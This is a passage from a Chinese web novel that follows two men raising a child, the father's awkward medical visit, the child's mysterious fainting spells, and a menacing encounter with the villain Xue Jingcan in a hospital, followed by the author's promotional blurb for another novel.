很快,不久前刚接到“不要过来”指令的接待台,迎来了一众医护人员职业生涯最神经的患者家属…… 崽子做检查的时候,霍懿安也没闲着,就近给自己挂了泌尿外科,然后装作有工作临时离开了爸崽二人,直奔VIP门诊。 有病就治天经地义,霍懿安从不是个讳疾忌医的人,哪怕去看泌尿外科也照样带了一串保镖。 不过就诊时,他还是难得生出了一点类似于羞耻心的东西,将保镖们隔绝在诊室门外。 VIP门诊设立的核心目的就是为不同人群,提供差异化、精细化、隐私化、个性化的医疗服务。 不仅对当值医生的专业能力有严格要求,对医生的外语水平同样有限制,毕竟这些医生偶尔是需要为外宾服务的。 好巧不巧,泌尿外科这位坐诊专家,正是其中英文水平最低洼的存在,毕竟除了极特殊的情况,正常人很少会选择在人生地不熟的国外治疗生|殖|系|统。 泌尿外科的老专家看到霍懿安的铂金色头发就开始慌张:“阿这这这……thisthis……” 没等他这那那这结束,霍懿安已经直奔主题:“给我开一些能治疗勃|起的药物。” 老专家听到熟悉的普通话,对上男人洋鬼子风味十足的金发碧眼也仍旧如老乡见老乡般激动不已,没忍住热情感叹了一句:“嚯!您这中文可真够溜儿的!” 霍懿安不耐提醒:“开药。” 老专家不以为意笑道:“甭着急,我得具体问问才好对症下药不是?您是有勃|起问题?” 霍懿安静默一瞬,仔细纠正道:“是问题勃|起。” 老专家:? 他不得不怀疑眼前的帅洋鬼子的中文只是表面听着不错,而且细品一下有些发音的确没那么顺滑。 老专家耐心问道:“上次勃|起是什么时候?” 霍懿安面沉如水:“刚刚。” 老专家发现自己有点听不懂中文了:“……鹅、a moment……ago?” 霍懿安还以为老头想半天是在为他诊断,结果是给他汉译英:“…………准确来说是十五分钟前。” 老专家:“上上次呢?” 霍懿安觉得老头进度太慢了,直接将最近十次的时间都报了出来,全都集中在这两天,尤其是昨晚,郁明殊一憔悴他就想抱他,然而一靠近他就不行了。 好在大多数时候他只需出门透口气,对上被郁明殊衬托得格外一脸横肉的丑脸保镖们,一切就会很快得到缓解。 但如果不通过别人的丑脸转移注意力,每次的……都会拉锯很长时间。 老专家听完怀疑自己是真听不懂中文了,僵坐了片刻,他把鼻梁上的老花镜摘了下来,抹了一把脸。 听过尿频的,没听过勃频的。 听过治疗尿频的,没听过主动来抗勃|起的。 就算存在异常勃|起症,但那是指长时间勃发无法停止……老专家思绪转了又转,才神色复杂看向霍懿安确认:“您……诉求是……想开药压制……?” 霍懿安脸黑了:“………”他进来坐了这么半天,小老头才听懂他说的第一句话? 作者有话要说: 霍总只是想换个不疼的方式~[眼镜] 第59章 事实上,根本没有专门用来治疗霍懿安症状的抗勃|起药物。 哪怕是持续勃|起超4小时的异常勃|起症,也是要找到病根,比如内分泌疾病或是肾上腺疾病等,再从病根入手治疗,而非单纯的吊硬医吊。 至于霍懿安希望老专家能立即给他开的勃|起抑制剂,不仅药效有待商量,还有着作用强度堪比主要疗效的副作用,非特殊情况不会轻易开出。 所以老专家抓头半晌,最后给出的医疗建议是让霍懿安做一套全面激素检查和超声检查,先明确病因再说。 当然多得是一时半晌查不出症结所在的疑难杂症,如果排查一圈也找不到病根,才有机会考虑开药。 老专家刚说到一半,男人就顶着冷沉至极的脸色拒绝了激素检查。 他家有专业的医疗团队,只是近期不想为这种小事专门飞一趟,而霍懿安很明确自己没有其他问题,只需要小老头帮他吊硬治吊。 退一步来说,即便薛德茂已死,他依旧信任A市的医疗系统,崽子已经入院检查多次,如非必要他都不会选择在这边做血液类检测。 老专家语重心长地劝了起来:“不是我不想给你直接开药,而是你这个目前虽然频繁点,但也是很、很重要的能力,万一吃药吃坏了,以后都不能勃|起……” “我不需要。”霍懿安眉头拧了起来,“你到底能开还是不能开?” “哎呀,别急嘛,我还要继续问诊呢……你这小年轻,这种事怎么能不需要?”老专家一方面是出于同一性别的感同身受,一心想帮他把根留住,另一方面也是真怕患者胡乱吃药根不行了来发疯医闹。 所以老专家轻易不肯交底说就是开不了,继续想方设法缓解这位尊贵的VIP客户的病情焦虑,一本正经话疗道:“你……一般是什么情况会突然勃|起?” 不过一开始已经排除了各种性刺激因素,也问了眼前的洋小伙并没有伴侣或者心上人,老专家没指望能真问出什么,结果霍懿安一张嘴就是一长串的“下|流|繁|殖|欲”理论。 老专家再次感觉自己听不懂中文,再次沉默了片刻一言难尽问道:“你这叫没有喜欢的人?你就是喜欢她啊,一靠近就……” 说到这里,老专家还自觉非常时髦地说了一句:“你馋她身子!” 霍懿安却听得一脸无动于衷,他就知道自己会被误解。 哪怕他从一开始就强调,他对郁明殊只是存在下|流|繁|殖|欲,并非爱情,但眼前这个老专家就跟绝大多数分不清爱情还是兽|性的普通人一样,对这种原始本能产生误解。 在他看来,所谓爱情要么是一场基于激素影响的社会学骗局,要么是太过罕见,比随即猜测一个SHA-256哈希碰撞的概率还小。 虽然他睁眼闭眼都是郁明殊,从一开始就无条件想要帮他,双腿会不自觉跟随,一靠近就会被激发下|流的原始本能,每天都要靠反复重播郁明殊的旧广告才能入眠……但这根本不是爱情。 当然,思维水平过高就注定会曲高和寡,他习惯了。 虽然霍懿安最后也没能开成药,但他还是成功让老专家第三次怀疑起自己听不懂中文。 霍懿安回到病房时,崽子刚检查完,爸崽始终都连体婴似的黏在一块。 不过这次霍懿安没说什么,扫了眼依旧没查出问题的医生,就迫不及待快步来到病床旁。 对于崽子的异常情况,即便检查结果依旧正常,郁明殊还是放不下心。 在他看来,莫名其妙昏迷十小时,还无法明确病因对症下药就是个不定时炸弹,谁能保证只炸这一次? 崽子醒来的激动狂喜逐渐冷却下来,郁明殊心中并未消弭的恐惧再次浮出,这次不仅是崽子如小粘糕一样紧扒在他怀里,郁明殊也同样紧拥着怀中乖崽。 爸崽二人像泡在502胶水里的一套魔术贴,连空气都挤不进去。 不过除此以外,郁明殊并未将心底巨大的忧虑恐惧表现出来,看到霍懿安走近便笑着点了点头,继续轻柔地询问怀中乖崽。 “嘟嘟除了黑房子还梦到别的了吗?” 崽子一开始坚定摇头,得知爸爸说他昏睡了整整十个小时又迟疑了。 他虽然不记得黑房子以外的事情,但他的确没感觉在黑房子里待了那么久。 梦中的时间流速可能不太一样,但崽子认真回忆了半天,又对比此前记得的一些做梦经历,还是觉得自己在黑房子里待的时间很短。 难道他一直昏迷,只有快醒来的时候才做了个梦? 崽子正努力转动小脑花去捕捉隐约冒出的一丝怪异感,郁明殊摸着他脑后柔软的铂金发丝,继续循循善诱地说起崽子晕前监控录下的内容。 “……嘟嘟还记得自己是怎么晕的吗?当时你贴在门上听爸爸们说话,然后呢?突然晕倒前你感觉到什么特别的了吗?比如哪里痛了一下,还是听到了爸爸干呕……” 崽子突然支楞起小脑袋,一边盯爸一边扭着小身体从爸爸怀里退了出来。 郁明殊一开始以为这崽是想起了什么,便配合放开小胖崽,结果小家伙在病床上退了两步,只为更全面地打量郁明殊。 崽一边仔仔细细查看,一边板着小脸认真询问:“拔拔几么啦!为习么会吐?!” 郁明殊的干呕原因必然绕不开薛景灿,但只要一想起那个人,他就忍不住赶到生理性反胃,尤其是他这会儿的状态本就不佳。 他不露痕迹地深吸一口气,正准备笑着回一句“当时只是讲起一个很糟糕的人,太过厌恶,并不是生病。”,然而话还没出口,就被霍懿安的一串干咳打断。 虽然有自动导航的双腿,但霍懿安因疼痛感知力过强,又开不到合适药物压制,所以硬生生将自己定在了爸崽一米开外的距离。 但他的腿总是想往前凑,霍懿安必须分出精力和自己的“下|流二心”对抗,所以原本他就打算远距离聆听来着。 直到崽子问起郁明殊的干呕,郁明殊脸色又陡然一白,为了避免郁明殊再次反胃,也为了小幼崽的身心健康,他不得不开口干预一下,直接帮爸崽把进度条拉回到正事上。 “我们当时在讨论薛景灿。”薄唇轻启,长腿就有些不受控,不过刚迈出一步就又被霍懿安瞪着退了回去。 落在旁人眼里,就是霍懿安突然原地踏步。 “。”听到薛景灿再被提起,郁明殊心绪复杂之余又有些习以为常的平静,尤其是看到霍懿安突然抽风踏步,心里只剩:哈,好吧…… 好在他已经提前想起那人,并做好了一定的心理准备,否则非得被霍懿安极为精准的哪壶不开提哪壶行为再次冲击到。 没曾想,郁明殊这次稳住了,一旁的崽子却如遭雷击,抱着脑袋惊叫起来:“啊啊啊不要不要!!!” 对视中的两人注意力迅速被转移,郁明殊虽被吓了一跳,还是在第一时间抱住了崽:“嘟嘟别怕,爸爸在!爸爸在呢!” 霍懿安也一步上前,俯下身皱眉观察。 郁明殊一边说着一边捧起崽子因痛苦而扭曲的小脸蛋,爸崽额头相抵,崽在眼泪缝隙看清了近在咫尺的爸爸,这才缓慢从失控状态平静下来。 先是叫声转小、停止,再是小胳膊脱力般缓缓垂下,小家伙靠近爸爸温暖的怀抱缓了片刻,只剩一声声虚弱抽噎。 郁明殊心如刀绞,却还是努力迫使自己冷静下来。 他无法代替崽子承受这份莫名的痛苦,能做的只有仔细替崽排查“病因”,他必须做好! 郁明殊一边努力安抚怀中的可怜崽子,一边思绪飞转思考每一种可能存在的诱因。 片刻后,崽子停止了抽噎,恢复了比较正常的撒娇哼唧,郁明殊才小心询问道:“嘟嘟刚刚怎么了?是突然头疼吗?” 崽趴在他胸口,病恹恹点点头:“脑袋,痛痛,像有针针……” 崽子不知道怎么说,就支楞起白嫩的指头当针,对着自己的小脑袋到处戳。 郁明殊一边帮崽揉按被他手指戳过的地方,确认崽子已经不疼了,才继续小心试探:“嘟嘟是担心爸爸干呕身体不舒服,还是听到你爹地说……” 声音适时停顿了一下,虽然郁明殊仍旧觉得这份猜测实在不着边际,但崽子两次“发病”都刚好是霍懿安提起薛景灿,一次是他直接干呕出来,一次则是崽子知道他干呕了…… 郁明殊仔细观察小家伙的表情,确认孩子听他这次提及干呕并无问题,才继续说道:“……当时我们在讨论…薛景灿。” 最后的名字,郁明殊说得缓慢清晰又小心翼翼。 所以他清晰看到崽子在听到薛景灿名字的瞬间,双眼微微睁大,紧接着便痛苦地闭上了眼。 郁明殊再是难以置信也不得不信,嘟嘟的异常似乎和“薛景灿”有着相当紧密的关联,他再次看向一旁的霍懿安。 霍懿安眉头紧蹙,对着郁明殊颔了颔首。 西奥多明明刚饱睡一场,却像被榨干力气似的,整个崽都软绵绵的。 郁明殊怕崽子经不住再晕过去,立即转移注意力道:“嘟嘟!爸爸太担心你了早饭都没吃,爸爸现在饿了,嘟嘟饿了吗?要不要跟爸爸一起吃饭饭?” 一听爸爸饿了,处于晕厥边缘的崽缓慢眨了眨濡湿的长睫,片刻后细弱应声:“拔拔……宝…一起、饭饭……” 郁明殊的思绪已经乱做一团,却还是笑意温柔地亲了亲崽子的小鼻尖:“好,宝宝跟爸爸爹地一起吃饭饭!” 第60章 虽然崽子一直没查出什么问题,但只要不定时炸弹没解除,他们就不敢轻易出院。 医院有专业的医疗团队,再怎么样出问题了也比酒店的医务室强。 霍懿安顶着难看至极的脸色,还是配合郁明殊的那句“宝宝跟爸爸爹地一起吃”,陪爸崽吃了顿饭。 虽然崽子对薛景灿的负面印象是发生在平行世界,但就像平行世界会有一个他和郁明殊血脉相连的崽一样,平行世界与崽有关的薛景灿,未必就与他们全无关系。 人在不同世界也许会有截然相反的走向,在他们所在的现实世界,薛景灿可能真是如张秘书所说没什么问题,但霍懿安却罕见无法客观看待。 想到痛苦可怜的小家伙,和昨夜脆弱无助的郁明殊,霍懿安已经在心中法庭将薛景灿判定为“疑罪从有”,他有太多事需要立即查证核实。 所以他一吃完饭就要走。 这是意料之中的事,郁明殊虽有话要说,但又怕话的内容会刺激到崽子,所以便想晚一些跟霍懿安线上联络。 这会儿便很自然同他挥手,一边还帮崽举起软绵绵的手臂挥了挥:“嘟嘟跟爹地掰掰~” 西奥多早就把霍懿安划入臭坏蛋范畴,就算一家三口在一起的时候,他的关注点99%都在宝贝爸爸身上,霍懿安是否离开对他来说全无差别。 但今天醒来后,小家伙不仅一反常态喊对方爹地,见霍懿安吃完饭要走,小嘴瞬间就瘪了下来。 两双同款蓝宝石眼瞳隔空对视,小家伙的眼圈还红着,鼻尖也红红的,看起来又不似往日那般精气神十足,仿若随时会与爹大战三百回合。 霍懿安难得有点心软,尤其是看到崽子那张与某人极为相似的小胖脸。 更别提小胖脸旁边就是那张,总是让他移不开眼的正版脸蛋,霍懿安的腿再次有了自己的想法。 步伐一顿就转了方向,他重新走回病床边,俯身抬手迟疑一瞬,他才模仿着郁明殊日常rua崽的手法,将大掌覆上孩子柔软的发顶。 原本只是因手臂也跟腿一样,突然背叛了他的主观意志,霍懿安“被迫”摸向崽子头顶的柔顺小软毛,并打算再“被迫”顺势说两句安抚崽子的话。 却没想到这个姿势,会让他的脸几乎贴上郁明殊。 两人的脸部距离不足一掌,霍懿安刚把手放到崽子头顶,整个人就几乎要被原始本能吞没。 眼睛直勾勾盯着近在咫尺的精致脸蛋,霍懿安的5.4好视力瞬间就看清了郁明殊脸上极为细微的小绒毛,更别说粉润如花的软唇有多么高清了。 霍懿安不自觉缓慢前移,动作幅度不算明显,但在郁明殊看来却是如排山倒海般压了过来。 眼前的男人不仅过分高大英挺,还练就了一身相当结实有力的肌肉。虽然衬衫西装可以有效收拢男人雕塑般的身体曲线,让他的身材线条看起来更加利落,不显壮硕,真正做到穿衣显瘦脱衣有肉。 但那是在远观的情况下。 一旦霍懿安靠近,这种视觉修饰的效果就会瞬间瓦解,男人像一张巨大且厚重的网般向他扑来。 霍懿安高大强健的身体总是能轻易为郁明殊带来压迫感,尤其是男人每次这般突然靠近时,紧盯向他的眼神就会变得更加灼人。 郁明殊从小作为一件美丽的藏品被待价而沽,还被养父母明码标价卖过多次,他比任何人都要敏锐,也比任何人都厌恶被觊觎凝视。 但也许是霍懿安身上的气质太过特殊,就连暗芒频闪的眼底……既没有暧|昧不清,也没有贪|婪|色|欲。 霍懿安的眼神像他的瞳色一样,始终干净纯粹。 正因如此,男人眼中的炽热执着,才会让郁明殊失去本能般的躲避能力。 明明霍懿安的眼瞳如同西伯利亚冻湖般冷冽,身上淡淡的气味亦是清冷沉静的冷杉气息。 可当郁明殊怔在原地,任由男人不断压近,却只能感受到男人几乎要将他完全覆盖包裹,以及庞大身躯带来的燥热。 灼烫的呼气扫过郁明殊的耳根,两人的气息都乱了,郁明殊红着耳根喉结轻滚…… “啪——” 一声闷响,小病崽再次出手,一巴掌罩住了亲爹的罪恶之嘴,“不!阔!以!!” 霍懿安如梦初醒,意识到自己又一次要强吻郁明殊,他迅速如触电般向后弹退。 眼底快速闪过一抹慌乱,思绪电转最后只憋出一句:“我先走了。” 徒留奶凶的崽子和懵逼的郁明殊,前者虚弱但仍旧骂骂咧咧,后者恍惚但很快重新定下心神,就是耳根不知红了多久。 霍懿安虽然举止奇怪,但歪打正着激活了崽子的护爸本能,原本恹恹蔫蔫的小家伙,再一次阻爹成功后精神头好了不少。 郁明殊心下稍安,却也不敢再刺激崽子。 虽然他极想知道,为什么嘟嘟听到“薛景灿”就会崩溃惊叫甚至晕厥? ……嘟嘟怎么会知道有薛景灿的存在?? 从前的郁明殊根本不愿想起那个人,意识到崽子的特殊病情也许与那人有关联时,郁明殊既痛苦又崩溃。 这种情绪也许会压垮曾经的郁明殊,但现在的他有了嘟嘟,既是让他心软得一塌糊涂的软肋,也是让他变得坚韧的铠甲。 他崩溃了,他的孩子怎么办? 郁明殊不允许自己再脆弱下去,而且嘟嘟不是他一个人的孩子,嘟嘟还有一个古怪的天使爹地。 一想到霍懿安,郁明殊紧绷的心弦不自觉放松几分,唇角也多了一抹真实的笑意。 停在十字路口等红灯的那个傍晚时刻,他无论如何都不会想到,自己会真的绝处逢生。 在不久的将来,他竟会拥有一个可爱的天使宝宝,还有了一个有点古怪但极为真实坦荡强大可靠的养崽搭档。 虽然一夜未眠,但此刻郁明殊的思绪仍转得飞快,而即便脑中有千头万绪急需理清,解开一切迷思的钥匙就在崽子身上,他不会也不敢操之过急。 在崽昏迷不醒的一整夜里,郁明殊无数次在心中发誓,只要西奥多能健康醒来,他可以什么都不要,他只要他的小天使嘟嘟能够像从前那般快乐地欢笑玩闹。 所以,一切的前提必须是崽子足够健康安全。 只要嘟嘟不再痛苦惊叫或是突然昏厥,他甚至可以不知道症结根源,反正他们会离那人远远的,他再也不要和薛景灿产生任何牵连。 郁明殊正这么想着,手机就响了起来,是刚刚离开的霍懿安打来的。 男人语气正常得有些反常,一本正经让郁明殊检查一下崽子的右手伤口。 霍懿安不仅视力极佳,各项感官都十分灵敏,他本该第一时间察觉崽子掌心的血腥气,但为什么没注意到……原因他不愿深想。 至于为什么又很快想起来,因为一上车他就开始回味,不对,是缜密分析自己的机体bug时恰好复盘到这一点。 小家伙当时只是伸出小手罩扣在他嘴上,而非上次那般一巴掌糊上,应该不是在防他时伤口破损。 虽然霍懿安简明扼要说完便迅速挂断了电话,他还有正事要办,现在甚至不是复盘身体bug的最佳时间,但思绪却很难脱离爸崽二人。 从崽子右手的小伤口想到小家伙的凝血能力,又想到这份凝血障碍大概是遗传自有着同款轻度凝血障碍的郁明殊。 如果放到从前,霍懿安会对此毫无感觉。 他认定来自平行世界的崽子和他们毫无关系,就像他和平行世界那个生下西奥多的霍懿安毫无关系一样。 即便他们组成了收养家庭,但西奥多也只会是他们的养子,而他们永远无法替代西奥多真正的父母,哪怕那两人因平行世界的关系看起来和他们很像。 但这一刻,霍懿安心底却多了一份很莫名的情绪,因太过陌生而无法清晰分辩,却也隐隐能感觉到这是一种反常的正面情绪。 他在为此感到高兴。 霍懿安不明白,他为什么会因为爸崽都有凝血障碍感到高兴,这明明是一种生理缺陷…… * 霍懿安说之前,郁明殊是真没发现,顾不上去想霍懿安是经历了怎样的思维过程,才会想起这份遗漏的感知,他立即动作轻柔地翻开崽子随意摆放的小手。 果不其然,掌心在微微渗血。 郁明殊立即心疼起来:“嘟嘟痛不痛?是捂爹地嘴的时候裂开的?” 崽子眨了眨桃花眼,也有些茫然,但考虑到万一承认是捂爹嘴造成的,爸爸肯定要限制他用右手捂爹嘴,那怎么能行?! 他护爸小卫士的右手最好使了,换成左手肯定反应没这么快,这事他很有经验。 蓝宝石般的大眼睛猫猫祟祟转了一圈,陡然一亮:“不系嘟~系之前攥手手……宝乖乖,债也不攥呐!” 为避免爸爸发散,崽子立即保证。 郁明殊一听也合理,便一边用无菌纱布给崽轻轻按压止血,一边问崽要不要再绑一个小药盒当固定器。 不然一时不察忘记了,好不容易愈合的伤口又该开裂了,郁明殊越想越心疼。 崽子却相当坚决地表示不要,绑上小药盒也会降低他防爹的速度! 哒咩! 因崽再三保证肯定会注意的,郁明殊也只好选择相信,好在轻轻按压了一阵,微有点渗血的地方便重新凝住了。 但也提醒了郁明殊,之前游乐园医生曾建议他给孩子查一查凝血。 刚好在他们留在医院只是以防不备,实则没什么具体的事情做,郁明殊便抱起崽子去往血液科。 因是走VIP通道,检查的速度非常快,不过血液相关的检查结果最快也要两小时才能全都出来。 血液科与住院部有些距离,郁明殊带崽走来走去也有些废腿,他们完全可以就近找个VIP休息室等待。 但因着霍懿安留下的保镖今日是西装墨镜全装出行,存在感太强了。 即便爸崽都戴着口罩帽子,郁明殊也怕自己再上新闻,现在他实在是不愿再引起什么风波了,便打算先把崽子抱回去。 西奥多状态恢复不少,虽然很想时刻黏在爸爸怀里,但还是不想累到爸爸,便扭了扭小屁股提出要自己走回去。 郁明殊便笑着牵起崽子软嫩的小手,一路说说笑笑带崽慢悠悠往回溜达。 爸崽二人刚溜达回住院部,最为简单快速的血型检测结果就已经推送到郁明殊的手机上。 “O型……嘟嘟也是O型血!”郁明殊俯下身跟崽子兴奋分享。 即便血型的巧合不算什么,但对于郁明殊来说,他和崽子每多一分相似,都会让他感到无比开心。 虽然只是领养关系,但他们不仅长得像,还有着相似的凝血障碍,现在甚至连血型都一模一样! 他们爸崽间一定有着极为特别的缘分,甚至……崽子的金发碧眼还酷似霍懿安,这些无一不昭示着他们仿佛命中注定要成为家人,即便没有血缘关系…… 郁明殊开怀之余又生出一份陌生的悸动,犹豫一瞬还是将这份血型检测结果发给了霍懿安:【我和嘟嘟又多了一个相似处[可爱][可爱][可爱]】 他本想再多措措辞,但注意到身侧的崽子突然不动了,郁明殊迅速按下发送键,并循着崽子的视线抬起头,猝不及防对上了一张诡异的笑脸。 四目相对,薛景灿唇侧的弧度进一步加深:“好久不见,小殊。” 作者有话要说: ◆推推沙雕甜爽完结文《被美强惨大佬盯上后[快穿]》[让我康康][让我康康][让我康康] 原飞星贪图高薪,转入美强惨拯救组,看着任务简介里冷血、暴戾、阴鸷的大佬们,兴奋地流下口水。 然而高薪都是有原因的…… 原飞星:这变态竟然!!……还能不能整点阳间的事了?!我要脱离任务世界!!(╯‵□′)╯ 系统:奖金工资,超级加倍。 原飞星:…… 原飞星:宝贝!我来辣!(≧▽≦)/ 【豪门大佬】:小嘉永远不能离开我。 原飞星假哭:可是我的病……唔唔唔?? (被哔到怀疑人生:啊这?!你踏马为什么不去找主角受?!) 【邪妄王爷】:你自嫁了我,便是我的王妃,卫府那些糟烂事,一件都不配与你沾染。 原飞星假抖:可我姐姐才是真正的侯府嫡女……唔唔?! (被哔到骂骂咧咧:淦你凉又来!呜呜呜…我不行了……) 【病娇学神】:我当真了,你就要负责到底。 原飞星瑟缩:黎绪你疯了!放开我…唔!! (被哔到哭唧唧:话都不让说了!大辣鸡!!) ●任务世界: (一)豪门大佬x病弱小少爷【超甜】 (二)阴鸷影帝x纨绔顶流【酸甜=戏中戏惨+mini火葬场+结尾超甜///只想嗑糖的可跳过,于后续无影响~】 (三)邪妄王爷x替嫁庶子【超甜】 (四)禁欲上将x间谍囚徒【超甜】 (五)病娇学神Ax易感校霸O【超甜】 (六)疯批魔尊x"高冷"仙尊【超甜】 (七)替身霸总x浪包贵公子【超甜】 (八)病秧大佬x续命小娇鱼【超甜】 (九)心机金丝雀x精英总裁【超甜】 (十)阴郁血族x主动献身小血袋【超甜】 (十一)暗黑丧尸王x平平无奇要啥有啥小竹马【超甜】 (十二)现世:任务对象跟回来了!【超甜】 ——起初,原飞星觉得自己很吊 ——后来,原飞星哭着承认自己是个傻吊 ◤阅读提示◢ ①从始至终1v1、身心双初恋、HE(小世界都是he) ②架空甜苏爽,偏慢穿,恋爱沙雕小甜饼《 》 60-70 第61章 虽然郁明殊近期频频想起脑海深处的恐怖回忆,但因太过痛苦,其中大部分画面都模糊不清,尤其对于薛景灿这个始作俑者。 可以说,郁明殊进行再多次恐怖回忆,都没有这一刻直面薛景灿带来的冲击大。 即便多年未见,薛景灿的身形气质都有所改变,甚至还戴上了彰显学者斯文的眼镜。 但那份久违的如附骨之蛆的森然寒意,还是瞬间密布郁明殊的全身。 而薛景灿的诡异笑容,正如当年他向彼时还是好友的薛景灿为露娜求情时…… 时隔多年,郁明殊不仅仍能想起当年的剧痛与震惊,甚至总觉得眼前的薛景灿下一秒又要将手机砸向他。 那是他年少时最恐怖的一场“噩梦”的开端,郁明殊血液逆流,冷汗涔涔,脸上惨白一片,脚下犹如灌了铅。 不同于郁明殊的恐惧僵硬,薛景灿已经相当自来熟地走近了崽子,他俯下身颇为玩味看向眼前的小幼崽。 实际上他并非如外界所知那般,当年主动和祖父割席出国投奔父亲,而是一直被迫陪废物父亲留在海外。 薛景灿当初根本不想走,奈何被父亲薛信峥抓到了把柄,薛信峥竟威胁他要是不去海外受其管教就直接大义灭亲,亲手将他送进监狱。 薛景灿才不得不离开可以任他肆意玩闹的祖父,到薛信峥身边装了多年的改邪归正。 好在薛信峥足够废物,多年来深受精神障碍困扰,让他得以找到喘息的机会,也暗中动些手脚。 现在祖父死了,父亲疯了,整个薛家都是他的了,积压多年的烦躁苦闷一扫而光。 本就处于年少气盛的年纪,薛景灿迫不及待想找“少年时的旧友”叙叙旧。 当然,对于这位漂亮的旧友近期有了大造化一事,他也有所耳闻。 但不论是曾经的烟雾弹张总,还是现在的科技新贵欧洋,对于二十出头便接手家族企业的新掌权人薛景灿来说全都不值一提。 唯一让他有些兴趣的,正是眼前这位传说中的超级富家崽。 薛景灿俯下身直接将崽子的帽子扯掉,露出了一头铂金小软毛,以及被散落额发半遮的蓝宝石眼眸。 崽子虽然仍处于怔愣中,但还是侧身回避了一下,以至于口罩并没有被男人扯掉。 自从看到薛景灿后,小家伙就一直蹙着小眉头困惑凝视,仿佛压根不知道眼前人正是令他惊惧不已的“薛景灿”。 即便帽子被薛景灿相当冒犯地摘了下来,小家伙困惑茫然又若有所思的目光始终凝在男人的脸上。 西奥多自然敏锐感觉到了来者不善,但更多的注意力都集中在对薛景灿这张脸的识别中。 他总觉得这张脸很眼熟,可他努力在脑海深处翻找半晌却依旧无果。 想了半天也只能得出一个没用的结论:这人(跟爸爸比)好丑,比爹地还要丑很多。 西奥多就更困惑了!他记忆力超棒的,明明有印象的事情他怎么会想不起来?! 郁明殊却是因一时间想起来太多不堪回忆而遍体生寒,可即便人被猝不及防出现的薛景灿吓得浑身僵硬,他还是在薛景灿对崽出手的第一时间将崽拉到了身后,立即做出防御姿态:“你在做什么!?” 一直跟在爸崽身后的两名保镖也快步上前,郁明殊这才后知后觉想起来,对,他们还有霍懿安留下的安保人员。 薛景灿见状无所谓地收回了手,站直了身体,有些无奈地笑着看向眼前警铃大作的郁明殊:“老同学,你紧张什么?我只是来跟你叙叙旧的而已。” “难不成这也要让你的保镖把我赶走?这间医院应该不是你开的吧?” 郁明殊努力平复情绪:“我跟你没什么旧好叙。” 不得不说突然挺身而出的保镖实在带来了太多安全感,虽然正如薛景灿所说,他无权在医院公共区域将其驱逐,但有保镖在,薛景灿也没法动任何歪心思,现在的他不必继续畏惧。 是以当被他挡在身后的崽子主动走上前,甚至站到了他身前,夹在两个大块头保镖连线中点上,郁明殊也没有阻拦,反而认真观察起崽子的状态。 郁明殊相当意外,不同于此前的“闻薛惊厥”,小家伙不仅没叫也没晕,反倒背着小手主动凑了上去,仿佛老干部视察工作般对着薛景灿上上下下反复扫描。 崽子的行为同样引起了薛景灿的好奇心,原本他跑这一趟,一方面是他已经迫不及待想见郁明殊了,但更重要的是,他也想知道这位传说中的超级富家崽到底是何许人也。 薛景灿是不信什么“郁明殊是千亿金孙刚认回的穷亲戚”的说法,但若只是普通小孩,郁明殊也没理由如此遮掩防范,除非,他只是故弄玄虚。 知道欧洋没有根基,再是有钱能为他提供的庇护也非常有限,所以才搞了这么一出阳谋? 薛景灿来之前只是有所怀疑,见到蓝眼小金毛便更加确信这一点了。 原本他只对国内的富豪圈层熟悉,但高中时被薛信峥强制带出国,他先是转入公学,进入商学院后又加入了兄弟会。 哪怕薛信峥只知道闭门研究那些破烂古书,从不给他提供什么支持,他还是靠自己在B国的上流阶层混得风生水起. 就连那些古老的蓝血家族,他也通过一层层关系网络逐一结识,包括如今最为显赫的珀西家族。 虽然这崽的宝石蓝双眸和国外也少有的纯粹金发,他似乎也只在珀西家族的身上看到过。 正因如此,他更加确定眼前的小崽子并非什么千亿富家崽,因着和凯瑟琳熟识,珀西家族三大核心分支的绝大部分孩子他都见过。 即便这孩子的确出自豪门,但绝对不会是千亿这个级别的,这意味着他依旧可以肆意玩弄郁明殊。 想到这一点,薛景灿唇侧的弧度不断加深,让他的整张脸看起来越发诡异。 虽然已经排除了潜在威胁,但薛景灿还是将视线定在了小崽子的脸上。 露出的眉眼虽然很是精致,但眼前崽子像个小木头人一样,神色呆呆愣愣,薛景灿并没意识到爸崽二人的眉眼如何相似。 他佩戴的最新款AI眼镜,会在通过一些微小的肢体动作判定他的意图,比如当他将视线定在某处并微点两次头时,眼镜金属边框内置的高清针孔摄像头不仅会开启记录模式,还会自动联网比对、分析、总结。 如果眼前这孩子的家人曾在网上发布过照片,AI眼镜会通过强大的云端算力以最快速度为他找出,哪怕只有上半张脸。 当然,就算不能,他也可以拿着照片派人寻找。 爷爷真是老了,竟然没有第一时间将这不知从何处冒出的小崽子处理妥当,而这种无能的老东西竟然还想继续给自己续命…… 薛景灿笑容突然一敛,可当他将目光转回郁明殊那张苍白漂亮的脸蛋时,又忍不住笑了起来。 “小殊知道这些年我有多想你吗?”薛景灿微微蹙眉,像是被伤到了一般继续慢条斯理说道,“你竟然说不想和我叙旧……” 郁明殊虽然听得一阵反胃,但他努力没有表现出来,只是学着霍懿安那般冷脸凝视着眼前的人渣。 见郁明殊明显比当年坚强太多,薛景灿有点意外,但一想时间过去这么久,他的影响大幅减弱倒也合理。 虽然浪费了他当年的苦心培养,但现在也只能在心里咒骂薛信峥多管闲事。 薛景灿不由低叹了一声:“看来……你已经忘记我们曾经一起度过的快乐时光了。” “真可惜,原本我还想跟你分享我的小露露~” “你知道吗?虽然它只是一只狗,但套上袋子后会发出跟露娜一样的叫声呢。” 郁明殊虽然深谙薛景灿是个彻头彻尾的变态,但还是被他丧心病狂的发言深深震撼到了:“你——!” 薛景灿见郁明殊被自己吓得脸色惨白,指向他的手指都忍不住颤抖,仿佛一下又回到了从前,这让他心情瞬间大好。 “哈哈哈你还真信了,我只是开玩笑而已。”薛景灿瞟了一眼郁明殊插在口袋中的另一只手,眼中多了一分意味深长。 果然啊,他最喜欢的还是郁明殊,这么多年不论是谁,都无法替代郁明殊在他心中的特别位置,就连偷偷录音反抗的模样都让他忍不住兴奋起来。 虽然这次注定不能玩太久,但他已经迫不及待想要将郁明殊玩烂,然后一点点放干血…… 就在薛景灿心潮澎湃之际,站在郁明殊身前,被两侧保镖衬得像只迷你手办的蓝眼小金毛突然板起小脸,并抬起小短胳膊朝薛景灿招了招手。 薛景灿原本对他已经失去兴趣,但见郁明殊脸上迅速浮出焦急担忧,甚至顾不上对他的恐惧…… 为了看到郁明殊更多的反应,薛景灿配合地俯下身子,一边不断靠近小幼崽,一边抬眼看向郁明殊。 虽然他一直都知道郁明殊身上有种过于愚蠢的善良,但眼前的小幼崽似乎超出了应有的范畴,甚至可以让郁明殊对他生出强烈的对抗情绪,这是从前从未有过的。 